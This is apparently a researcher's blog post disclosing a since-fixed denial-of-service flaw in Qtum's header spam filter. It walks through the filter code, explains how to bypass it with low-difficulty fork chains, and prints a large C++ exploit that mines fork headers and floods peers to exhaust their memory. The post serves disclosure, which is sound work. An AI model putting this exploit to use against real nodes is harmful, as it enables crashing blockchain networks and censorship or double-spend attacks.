Qtum – Bypassing Header Spam Protection

By art_of_bug | art_of_bug | 14 Mar 2020

Good to see you again. Today we disclose our third report on Qtum. Previously we have published two articles discussing bypassing protection against header spam (aka Fake Stake) attack and a bug in Qtum regarding setStakeSeen mechanism. Today we present a novel (and somewhat complex) attack we designed to bypass protection against the Fake Stake attack that was implemented by Qtum after our previous reports. This is now fixed as well for quite a long time in Qtum. 

The proof of knowledge is provided at the end of the article as usual for already fixed vulnerabilities.

As for the industry news, we have seen multiple hacks of DeFi on Ethereum (also Maker fuckup, relevant Twitter thread) and epic fuckup by Iota. In Bitcoin, we have seen unexpected (price) halvening due to Coronavirus. Panic, panic, panic in all kinds of markets, relevant xkcd.

And by the way, just in case you didn't know, we offer our vulnerability analysis services for crypto/blockchain projects, so feel free to contact us if you want to find critical bugs in your project – contact us via reddit.com or via bitcointalk.org.

Bypassing Header Spam Filter

Bug type: DoS
Bug severity:

Scenario 1

Attacker cost: low

In this scenario the attacker targets one or more specific nodes that the attacker wants to crash. The attacker needs a direct connection to the target node, so we expect the target node to be operating on publicly accessible network interface – i.e. public IP address and open firewall port. Eventually, the attacker is able to create connection to every public node in the network and crash all such nodes. The network will become dysfunctional. In order to recover, the node operators have to delete their databases and synchronise the blockchain from scratch. Simply restarting the node will not help. However, should the attacker be persistent, there won't be any public nodes to synchronise from. It can thus be very difficult to recover the network before the bug is fixed and all nodes upgrade to the new version.

Scenario 2

Attacker cost: medium

In this scenario, the attacker buys a nontrivial amount of coins and they also perform a sybil attack against the network – this means they will create a large number of fully operational public nodes. Then they will perform Scenario 1 attack against all other public nodes in order to crash them. This will cause that all the block propagation in the network will only have to go through the public nodes of the attacker. This allows the attacker to censor any transaction as well as censor any block, which further allows the attacker to create the longest chain with just a fractional stake, compared to the original staking power of the network. With just a fraction of the network staking power, the difficulty will go down very quickly because the blocks will not be produced within the expected timeframe. Eventually the difficulty will decrease enough for the attacker to produce a chain that looks healthy and it is fully controlled by the attacker. This allows the attacker to perform additional attacks such as double spending.


The codebase state at the time of writing can be seen here.

Headers spam filter together with additional validation checks were introduced to Qtum as a response to the Fake Stake attack and similar attacks that could cause memory exhaustion by sending a large amount of fake headers to target nodes.

We are now presenting a novel way to perform this kind of attack which bypasses all the current (at the time of writing) protections of Qtum nodes and which only requires the attacker to possess some relatively small amount of coins and optionally a small number of different IP addresses.

The current protection of Qtum against headers attacks is already pretty complicated. All headers must be produced using unspent coins (referred to as coinstake kernels) which satisfy the difficulty target requirements. This by itself should prevent cheap attacks. Next, there is so-called "stake seen" protection that prevents an attack in which a valid header is mined and then duplicated and changed slightly in order to produce a large amount of different headers which all are valid, but they share the same coinstake kernel. Additionally, there is the headers spam filter, which prevents a large number of different headers with the same height to be delivered from a single IP address. All these restrictions seemingly allow only a tiny memory leak that requires the attacker to obtain a large number of IP addresses and coins in order to perform a successful attack. The number of the required IP addresses is so large that it is cost prohibitive to attempt such an attack on IPv4 networks.

First, we describe a simple way to perform this attack. In this form, the attack is very slow, especially if the attacker does not possess a lot of coins. Then we improve on that with another novel trick that increases the efficiency dramatically and reduces the cost as well. Finally, we describe how the attacker can improve the efficiency even more and reduce the cost again.

Simple Version

The attacker starts by buying some amount of coins, let's say 1% of the current network staking power. Then the attacker splits this amount into many different UTXOs. Next, the attacker connects to its target nodes and sends a headers message containing 500 of the latest headers up to the current chain tip. The attacker disables all kinds of announcements of new blocks to the target nodes on her end.

The attacker then attempts to create a fork of the main chain with a "fork point block" (the last common block of two forks) at the last possible block that respects the long reorganisation prevention rule, which is a block at the relative height of -499 from the current tip. With 1% of the current network staking power, the attacker is basically guaranteed to be able to find a block on the top of the fork point block. This is because the attacker can try all the different valid timestamps between the fork point block's timestamp and (almost) the current system clock. The requirement for the first block of the fork is that its timestamp is going to be at least 1280 seconds (i.e. 10 times the target spacing) greater than the fork point block timestamp. Such a gap will guarantee that the next block on this fork will only need to meet the target difficulty of about 30% of the first block. The attacker attempts to mine N such blocks in a row with this condition. This will make the difficulty after the Nth block very small (about 0.3077^N times the difficulty of the first block). We call this chain of N blocks a "prefix". After this prefix is mined, the attacker tries to create as many different chains as possible of length N+1 with this N block prefix. We call all these last blocks of those chains as a "fluff". The attacker aims to create a fluff of size 1540. The smaller the N, the larger the amount of coins the attacker needs to be able to generate such large fluffs (small N means higher difficulty to satisfy for fluff blocks). We tested N set to 5 and 6 and this is where the requirement for the 1% of the staking power is coming from. After the attacker creates the prefix and the fluff, she sends the prefix in a separated headers message to the target node. Then she sends one headers message for each block in the fluff – each headers message containing just one header.

The attacker now waits for N+2 blocks to be mined by the rest of the network. Then she sends the newest N+2 headers from the main chain to her targets. This finishes one cycle.

The attacker can now start another cycle and build a new prefix with the fork point at the relative height of -499 from the current tip again. We claim that this circumvents the spam filter checks in a way that the attacker is not banned for doing this. See the next section below for details.

Let's now define the efficiency of this attack. We create about 1540 headers (ignoring the prefix) that we send to the target node every N+2 blocks. The efficiency is thus E = 1540 / (N+2) per block. We can now see the importance of having N as small as possible. With N=5, we have E = 1540 / 7 = 220. With N = 6, E = 192. Each delivered header consumes about 0.5 kB of memory of each target node. With target spacing of 128 seconds, there should be about 675 blocks per day, which would produce a memory leak of 192 * 0.5 * 675 = 64800 kB per day. That is not terrible, but not great either for the attacker, especially considering that this needs about 1% of the total staking power. We would consider such an attack as viable, but not very practical, as it would take the attacker about a month or 2 to be able to crash some nodes on the network who are deployed with smaller amounts of memory available.

Spam Filter Analysis

Almost everything we need to know about the spam filter happens inside of updateState function:

    bool updateState(CValidationState& state, bool ret)
        // No headers
        size_t size = points.size();
        if(size == 0)
            return ret;

        // Compute the number of the received headers
        size_t nHeaders = 0;
        for(auto point : points)
            nHeaders += point.second;

        // Compute the average value per height
        double nAvgValue = (double)nHeaders / size;

        // Ban the node if try to spam
        bool banNode = (nAvgValue >= 1.5 * maxAvg && size >= maxAvg) ||
                     (nAvgValue >= maxAvg && nHeaders >= maxSize) ||
                     (nHeaders >= maxSize * 4.1);
            // Clear the points and ban the node
            return state.DoS(100, false, REJECT_INVALID, "header-spam", false, "ban node for sending spam");

        return ret;

Here, we need to know that maxAvg is 10 and maxSize is 500. Every header that is received and successfully validated is processed by the filter. The filter operates with a map called points, which is an ordered collection of largest 500 block heights mapped to the number of headers that have been received from the specific IP address on that height. Also importantly, if the map is full, the smallest element is removed and that is even if no new element is added to the map.

How does that work with the attack described above? First, the attacker sent the last 500 headers. This means that the filter was filled with 500 new elements. The keys of these elements were the block heights – i.e. the numbers from the current chain tip height down to the relative height of -499. The values of all elements were all 1 as the node only received a single header on each height from the attacker.

Then how does a single cycle look like? We have a prefix of let's say 6 blocks (with heights from -498 to -493) and we have a fluff of 1540 blocks (all on the same height -492). We deliver this to the target node and so the elements in the map at corresponding heights will be increased. We will see values of 2 for the prefix section and then a value of 1541 for the fluff. Together we have 499 + 5 + 1540 = 2044 as a sum of all values in the map. Now we look at evaluation of the local variables in the code above.

We have nHeaders is the sum of values, which is 2044. We have size = 499 and nAvgValue = 2044 / 499 = 4.0962. Thus we can conclude that banNode is false because it's first part is not satisfied because nAvgValue is lesser than 15, the second part is not satisfied because nAvgValue is less than 10 and the last part is also not satisfied because 2044 is less than 499 * 4.1.

After the node sends the newest N+2 headers, it removes all our "heavy" elements from the map, especially the fluff value of 1541. After that we again have 500 elements with values of 1.

Improved Version

In order to improve the efficiency, the attacker can implement another novel trick based on an analysis of how long reorganisation protection works. There are two different code parts that deal with long reorganisations. First is in CheckSync function. This function compares the height of the newly received block (or header) with the height of a block which is 500 blocks back from the tip – i.e relative height of -500. If the new block is above this height it is considered as okay. The second check is a time check. This one takes the timestamp of a block with the relative height of -500 and the new block must have greater timestamp than that. This is similar to CheckSync check, but not entirely the same in case the network is subject to big changes in the total staking power.

What we exploit here is the fact that only the height/time of the actual block is checked against the floating checkpoint, but not the height/time of the fork point of the fork branch that the checked block represents. Therefore we can send the prefix to the targets well before we send the fluff. This allows us to prepare the prefixes in the memory of our targets and only later extend those with the fluffs. This eliminates the need of waiting N+2 blocks.

So the attacker starts with creating a prefix on the top of the block with the relative height of -498. Here, however, we can use prefixes of almost arbitrary lengths. So we use N=8, making the target difficulty for the fluff as small as 0.008% of the original difficulty. On the top of that we create a fluff with size of 1500 blocks. The attacker sends the prefix to the targets but she does not send the fluff, instead she stores it in a queue. She waits for the next block to be created by the network and she propagates a single header announcing this new block. Next she creates another prefix built on the top of the block with the current relative height of -498, which is basically the next block after the one she used as a parent for her first prefix. And again she creates a fluff for it but only sends the prefix to the target and the fluff goes to the queue. It is repeated over and over again.

With each new block created by the main network, the attacker checks the oldest fluff in the queue and if it's relative height is -499, she sends it to the targets.

Because the difficulty for the fluff is so low, the attacker is basically guaranteed to be able to create fluffs of the required sizes with almost any amount of coins. Hence the limiting factor becomes the ability to create the prefix – most importantly, the first block of the prefix, because that one has to be mined with the original difficulty. This allows the attack to be performed by attackers with 0.1% stake or even lower, which is less than 22000 USD at the time of writing. See the next section on how to lower the cost even more.

The analysis of the spam filter here is even simpler. We always operate with a fluff at the relative height of -499, which is erased with every new block created by the network. We do have multiple prefixes in the spam filter all the time, but we selected the fluff sizes to be small enough to create the space for these prefixes.

The efficiency of this improved solution is roughly 1500 headers per block, which is much better than the simple version and it gives us about 0.5 GB of memory leak per day.

Final Improvement

In order to lower the cost even further, the attacker can simply obtain multiple IP addresses. Then she needs to coordinate the attack such that she creates unique fluffs for each IP address. But this is trivial considering the extremely low difficulty with which the fluffs are being constructed. So basically with each new IP address the attacker can provide extra 0.5 GB of memory leak per day. So with just 10 IP addresses, she is able to deliver about 5 GB of memory leak to all nodes she can connect to.

Exploit Code

The full code is quite long, so we only present the main part of it without some implementation details. The following goes instead of the original staking code:

    AobMiner miner(pwallet);

    // Parameters    
    const int MAX_FLUFF_LEN = 1500;
    const int INIT_EXTRA_SPACING = 10 * Params().GetConsensus().nPowTargetSpacing;
    const int64_t INIT_LEN = gArgs.GetArg("-attacker", 8);
    const int CHAIN_START_DEPTH = 498;
    const int CHAIN_SEND_THRESHOLD = 499 + INIT_LEN + 1;
    LogPrintf("-attacker parameter: %u\n", INIT_LEN);

    // Stats
    uint32_t blockSum = 0;

    // Send 500 headers to fill spam filter
    CBlockIndex* pLastTip = chainActive.Tip();
    miner.sendHeaders(pLastTip, 500);
    // Start the process of continuous mining
    while (true) {
        CBlockIndex* pCurrent = miner.getNthPrev(CHAIN_START_DEPTH, pLastTip);
        int dbgHeight = pCurrent->nHeight;

        // Get matured coins
        std::set<std::pair<const CWalletTx*, unsigned int>> setCoins;
        miner.getCoins(CHAIN_START_DEPTH, setCoins);

        // Mine INIT block sequence with large gaps to decrease difficulty
        std::vector<CBlockIndex*> vPrefix;
        CBlockIndex* pInitLast = miner.mineBlockSeq(INIT_LEN, pCurrent, vPrefix, setCoins, INIT_EXTRA_SPACING);

        // Send prefix headers
        if (vPrefix.size() > 0) {

            // Mine all blocks connecting to the INIT seq
            if (pInitLast != nullptr) {
                std::vector<CBlockIndex*> vFluff;

                int fluffBlocks = miner.mineFluff(MAX_FLUFF_LEN, pInitLast, vFluff, setCoins);
                blockSum += fluffBlocks;
                miner.chains.push(std::make_pair(pCurrent->nHeight, std::make_pair(vPrefix, vFluff)));

                LogPrintf("[%d] Iteration finished; vBlockIndices to delete:%d; blockSum:%u\n", dbgHeight, fluffBlocks, blockSum);
            } else {
                LogPrintf("[%d] INIT block sequence was not found; param:%d\n", dbgHeight, INIT_LEN);

        // Wait for new tip
        CBlockIndex* pNewTip = miner.waitForNewTip(pLastTip);

        // Make sure spam filter is full
        miner.sendHeaders(pNewTip, pNewTip->nHeight - pLastTip->nHeight);

        // Send all chains' fluffs if it's their time
        while (true) {
            if (miner.chains.size() == 0) {

            auto chain = miner.chains.front();
            auto chHeight = chain.first;
            auto vFluff = chain.second.second;
            auto chDepth = pNewTip->nHeight - chHeight;

            if (chDepth >= CHAIN_SEND_THRESHOLD) {

                if (chDepth == CHAIN_SEND_THRESHOLD) {
                    if (vFluff.size() > 0) {
                        LogPrintf("[%d] About to send fluff; first block: %s (%u)\n", dbgHeight,
                            vFluff[0]->GetBlockHash().ToString(), vFluff[0]->nHeight);
                    } else {
                        LogPrintf("[%d] No blocks in fluff; chain.nHeight:%u\n", dbgHeight, pNewTip->nHeight, chHeight);
                } else {
                    LogPrintf("[%d] Fluff is TOO OLD -> ignore; pNewTip->nHeight:%u, chain.nHeight:%u; chDepth:%u\n", dbgHeight, pNewTip->nHeight, chHeight, chDepth);
            } else {
                LogPrintf("[%d] Not yet time for fluff; pNewTip->nHeight:%u, chain.nHeight:%u, diff:%u\n",
                    dbgHeight, pNewTip->nHeight, chHeight, pNewTip->nHeight - chHeight);

        pLastTip = pNewTip;
        LogPrintf("[%d] new tip was set: %s (%u)\n", dbgHeight, pLastTip->GetBlockHash().ToString(), pLastTip->nHeight);

And the implementation of the AobMiner class follows:

class AobMiner {
    CWallet *pwallet;
    CReserveKey* reserveKey;
    // Do not use twice pair (outpoint, time) for in mined blocks
    std::set<std::pair<COutPoint, unsigned int>> minerStakeSeenCache;

    // <height, <prefix, fluffBlocks>>
    std::queue<std::pair<int, std::pair<std::vector<CBlockIndex*>, std::vector<CBlockIndex*>>>> chains;    

    AobMiner(CWallet *pwallet) {
         this->pwallet = pwallet;        
         this->reserveKey = new CReserveKey(pwallet);

    void deleteFirstChain()
        auto chain = this->chains.front();


    void deleteBlockIndices(std::vector<CBlockIndex*> vBlockIndices)
        for (auto& p : vBlockIndices) {
            delete p->phashBlock;
            delete p;

    void sendHeaders(std::vector<CBlock>& vBlocks)
        g_connman->ForEachNode([&vBlocks](CNode* pnode) {
            //if (pnode->addr.IsLocal()) {
                const CNetMsgMaker msgMaker(pnode->GetSendVersion());
                g_connman->PushMessage(pnode, msgMaker.Make(NetMsgType::HEADERS, vBlocks));

    void sendHeaders(std::vector<CBlockIndex*>& vBlockIndices)
        std::vector<CBlock> vBlocks;

        for (auto& b : vBlockIndices) {


    void sendHeaders(CBlockIndex* pIndex, int count)
        std::vector<CBlock> vBlocks;

        for (int i = 0; i < count; i++) {
           LogPrintf("Blocks add %s (%u)\n", pIndex->GetBlockHash().ToString(), pIndex->nHeight);
            pIndex = pIndex->pprev;
        std::reverse(vBlocks.begin(), vBlocks.end());


    CBlockIndex* makeBlockIndex(CBlock& block, CBlockIndex* pParent) {

        uint256 hash = block.GetHash();
        CBlockIndex* pindexNew = new CBlockIndex(block);
        pindexNew->nSequenceId = 0;
        pindexNew->phashBlock = new uint256(hash);
        pindexNew->pprev = pParent;
        pindexNew->nHeight = pindexNew->pprev->nHeight + 1;
        pindexNew->nTimeMax = (pindexNew->pprev
            ? std::max(pindexNew->pprev->nTimeMax, pindexNew->nTime)
            : pindexNew->nTime);
        pindexNew->nChainWork = (pindexNew->pprev ? pindexNew->pprev->nChainWork : 0)
            + GetBlockProof(*pindexNew);
        pindexNew->nStakeModifier = ComputeStakeModifier(
                block.IsProofOfWork() ? hash : block.prevoutStake.hash

        return pindexNew;

    CBlockIndex* getNthPrev(int n, CBlockIndex* pIndex)
        CBlockIndex* pResult = pIndex;
        for (int i = 0; i < n; i++) {
            pResult = pResult->pprev;

        return pResult;

    void getCoins(int n, std::set<std::pair<const CWalletTx*, unsigned int>>& setCoins)
        CAmount nBalance = pwallet->GetBalance();
        CAmount nTargetValue = nBalance - pwallet->m_reserve_balance;
        CAmount nValueIn = 0;    
            auto locked_chain = pwallet->chain().lock();
            pwallet->SelectCoinsForStaking(*locked_chain, nTargetValue, setCoins, nValueIn, n);

        if (setCoins.size() == 0) {
           LogPrintf("[%d] No coins!!! -> exiting\n");
            throw std::runtime_error("No coins!");

    std::shared_ptr<CBlock> attemptToMineBlock(
        int blockNo,
        CBlockIndex* pParent,
        uint32_t& beginningTime,
        int64_t& endTime,
        std::set<std::pair<const CWalletTx*,unsigned int> >& setCoins,
        std::pair<const CWalletTx*,unsigned int>& usedCoin
    ) {
        if (setCoins.size() > 0)
            int64_t nTotalFees = 0;
            std::unique_ptr<CBlockTemplate> pblocktemplate(BlockAssembler(Params()).CreateEmptyBlock(pParent, reserveKey->reserveScript, true, true, &nTotalFees));
           uint32_t iteration = 0;        
            for (; beginningTime <= endTime; beginningTime+=STAKE_TIMESTAMP_MASK+1) {
                pblocktemplate->block.nTime = beginningTime;
                std::shared_ptr<CBlock> pblock = std::make_shared<CBlock>(pblocktemplate->block);
                if (SignBlock(pblock, *pwallet, nTotalFees, beginningTime, setCoins, pParent, usedCoin, minerStakeSeenCache)) {
                   return pblock;

                if (iteration % 3000 == 0) {
                   LogPrintf("[%d] No luck in: %u\n", blockNo, iteration);                
        } else {
           LogPrintf("[%d] No coins\n", blockNo);

       LogPrintf("[%d] Block not mined; pParent:%u\n", blockNo, pParent->nHeight);
        return nullptr;

    CBlockIndex* mineBlockSeq(
        int blockCount,
        CBlockIndex* pParent,
        std::vector<CBlockIndex*>& vBlockIndices,
        std::set<std::pair<const CWalletTx*,unsigned int>>& setCoins,
        int64_t extraSpacing = 0
    ) {
        CBlockIndex* result = nullptr;
        int blockNo = 0;
        int64_t endTime = GetAdjustedTime();
        for (blockNo = 0; blockNo < blockCount; blockNo++) {

            uint32_t beginningTime = pParent->nTime + STAKE_TIMESTAMP_MASK+1 + extraSpacing; // 10 * Params().GetConsensus().nPowTargetSpacing;
            std::pair<const CWalletTx*,unsigned int> usedCoin;

            std::shared_ptr<CBlock> block = attemptToMineBlock(blockNo, pParent, beginningTime, endTime, setCoins, usedCoin);

            if (block == nullptr) {
               LogPrintf("[%d] Could not mine more blocks in this iteration; mined:%d\n", vBlockIndices.size());

            minerStakeSeenCache.insert(std::make_pair(COutPoint(usedCoin.first->GetHash(), usedCoin.second), (*block).nTime));

            pParent = makeBlockIndex(*block, pParent);

            mapBlockIndex.insert(std::make_pair(pParent->GetBlockHash(), pParent));
            result = pParent;

        return blockNo == blockCount ? result : nullptr;

    int mineFluff(
        int blockCount,
        CBlockIndex* pParent,
        std::vector<CBlockIndex*>& vBlockIndices,
        std::set<std::pair<const CWalletTx*,unsigned int>>& setCoins
    ) {
        int blocksNumber = 0;
        uint32_t beginningTime = pParent->nTime + STAKE_TIMESTAMP_MASK+1;
        int64_t endTime = GetAdjustedTime();
        while (true) {
            std::pair<const CWalletTx*, unsigned int> usedCoin;

            std::shared_ptr<CBlock> block = attemptToMineBlock(blocksNumber, pParent, beginningTime, endTime, setCoins, usedCoin);

            if (block == nullptr) {
               LogPrintf("[%d] Could not mine more blocks in this iteration; mined:%d\n", blocksNumber, vBlockIndices.size());

            this->minerStakeSeenCache.insert(std::make_pair(COutPoint(usedCoin.first->GetHash(), usedCoin.second), (*block).nTime));

            CBlockIndex* pNew = makeBlockIndex(*block, pParent);

            mapBlockIndex.insert(std::make_pair(pNew->GetBlockHash(), pNew));

            if (blocksNumber >= blockCount) {
               LogPrintf("Enough chains; chains:%d\n", blocksNumber);

        return blocksNumber;

    void sendFluff(std::vector<CBlockIndex*> vFluff)
        std::vector<CBlockIndex*> vBlocks;

        for (auto& b : vFluff) {

       LogPrintf("sendFluff end\n");

    CBlockIndex* waitForNewTip(CBlockIndex* pLastTip)
        while (true) {
                CBlockIndex* pTip = chainActive.Tip();

                if (pTip != pLastTip) {
                   LogPrintf("New tip arrived: %s (%u)\n", pTip->GetBlockHash().ToString(), pTip->nHeight);
                    return pTip;

Proof of Knowledge

As usual in case of already fixed bugs, we should present a proof that we were aware of the bug before it was fixed. We do that with the help of OpenTimestamps. Our timestamp data is the following string:

art_of_bug - Qtum - Bypassing spam filter headers using small difficulty chains at the edge of reorganization length limit can lead to memory exhaustion as per Fake Stake attack description. Memory is allocated for CBlockIndex in AddToBlockIndex for useless headers which we deliver in large amounts without being banned. Multiple IP addresses can be used to raise the power of the attack.

The OTS file proving our knowledge converted to hex looks as follows:


If you run OpenTimestamps client correctly, you should see something like this:


This proves that we created the record on 13th September 2019, well before the fix was implemented after 4th November 2019.

How do you rate this article?




We are research group with focus to expose bugs in design and implementation of blockchain projects. We only honour responsible disclosure with projects that honour responsible development.


We are research group with focus to expose bugs in design and implementation of blockchain projects. We only honour responsible disclosure with projects that honour responsible development.

Send a $0.01 microtip in crypto to the author, and earn yourself as you read!

20% to author / 80% to me.
We pay the tips from our rewards pool.